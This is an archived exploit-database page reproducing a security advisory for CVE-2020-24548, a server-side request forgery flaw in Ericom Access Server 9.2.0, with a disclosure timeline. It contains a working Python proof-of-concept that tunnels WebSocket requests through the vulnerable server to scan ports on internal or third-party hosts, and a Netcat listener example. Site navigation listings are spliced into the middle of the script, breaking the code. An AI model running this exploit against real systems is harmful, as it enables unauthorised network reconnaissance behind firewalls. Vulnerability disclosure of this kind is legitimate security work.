Ericom Access Server 9.2.0 Server-Side Request Forgery

Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Posted Aug 22, 2020

Ericom Access Server allows attackers to initiate SSRF requests making outbound connections to arbitrary hosts and TCP ports. Attackers, who can reach the AccessNow server can target internal systems that are behind firewalls that are typically not accessible. This can also be used to target third-party systems from the AccessNow server itself. Version 9.2.0 is affected.

tags | exploit, arbitrary, tcp
advisories | CVE-2020-24548
SHA-256 | be074654b32c8f5acc5a65ebfb2346bf9d5c96f828c3e11ce96a91c39d1bafef

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ERICOM-ACCESS-SERVER-ACCESS-NOW-BLAZE-9.2.0-SERVER-
SIDE-REQUEST-FORGERY.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.ericom.com


[Product]
Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0

AccessNow is an HTML5 remote desktop gateway that works from any device with an HTML5 compatible browser,
including from Chromebooks and locked down devices. Ericom Blaze provides remote desktop connectivity from
Mac, Windows and Linux devices to applications on office / home PCs and virtual desktops (VDI).


[Vulnerability Type]
Server Side Request Forgery


[CVE Reference]
CVE-2020-24548


[Security Issue]
Ericom Access Server allows attackers to initiate SSRF requests making outbound
connections to arbitrary hosts and TCP ports. Attackers, who can reach the
AccessNow server can target internal systems that are behind firewalls that are
typically not accessible. This can also be used to target third-party systems
from the AccessNow server itself.

The AccessNow server will return an attacker friendly response, exfiltrating
which ports are listening for connections. This can bypass Firewall rules and
undermine the integrity of other systems and security controls in place.

E.g. listen using Netcat, Nc64.exe -llvp 25

A) Ericom Server  192.168.88.152 (defaults port 8080)
B) Attacker   192.168.88.162
C) Victim  192.168.1.104

Using Wireshark we can observe A sends a SYN packet to C (port 25)
C sends SYN/ACK to A
A sends ACK to C.
A sends ACK/FIN to C port 25.

We will then get an AccessNow server response similar to below.
["C","M",["Cannot connect to '192.168.1.104:25'.",true]]

This message indicates we cannot connect and helpfully informs us of closed vs open ports.

[Affected Component]
Ericom Server port 8080 will forward connections to arbitrary Hosts and or Ports
which are sent using Web-Socket requests. Ericom server then replies with a
"Cannot connect to" message if a port is in a closed state.


[Attack Vectors]
Remote attackers can abuse the Ericom Access Server to conduct port
scans on arbitrary systems. This is possible due to a server side
request forgery vulnerability and using a remote TCP socket program.


[Impact Information Disclosure]
true


[CVE Impact Other]
Exfiltration of open ports


[Exploit/POC]
import sys,ssl
import websocket
##pip install websocket-client   #Required

#By hyp3rlinx
#ApparitionSec
#==========================================================
#Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF
#==========================================================

BANNER="""
  ______                     _____
 |  ____|                   / ____|
 | |__   _ __ _ __ __ __ _ _| |  ___ _ __ ___
 |  __| | '__| '__/ _` \ \ / / | |_| | '__/ _ \
 | |____| |  | | | (_) | | | | |___| (_) | | | | | |
 |______|_|  |_|  \___/|_|   \_____\___/|_| |_| |_|
                                     SSRF Exploit
"""

def ErrorCom(vs,vp,t,p):
    try:
        ws = websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+t+":"+p, sslopt={'cert_reqs':
ssl.CERT_NONE})
        ws.send("SSRF4U!")
        result =  ws.recv()
        #print(result)
        if result.find("Cannot connect to")==-1:
            print("[+] Port "+p+" is open for business :)")
        else:
            print("[!] Port " + p+ " is closed :(")
        ws.close()
    except Exception as e:
        print(str(e))

if __name__=="__main__":

    if len(sys.argv) != 5:
        print(BANNER)
        print("[+] Ericom Access Server v9.2.0 - SSRF Exploit - CVE-2020-24548")
        print("[+] By Hyp3rlinX / ApparitionSec")
        print("[!] Usage: <vuln-server>,<port (usually 8080)>,<target>,<port-to-scan>")
        exit()
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    if len(sys.argv[4]) > 5:
        print("[!] Port out of range")
        exit()

    print(BANNER)
    ErrorCom(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])



[PoC Video URL]
https://www.youtube.com/watch?v=oDTd-yRxVJ0


[Network Access]
Remote


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification : June 21, 2020
Received automated reply : June 21, 2020
Request for status : June 30, 2020
Vendor "Forwarded all the detail to our R&D and Management team" : June 30, 2020
Request for status : July 13, 2020
No vendor reponse
Informed vendor advisory: August 11, 2020
Request for status : August 20, 2020
No vendor reponse
August 22, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness
of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar,
provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and
accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of
security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
```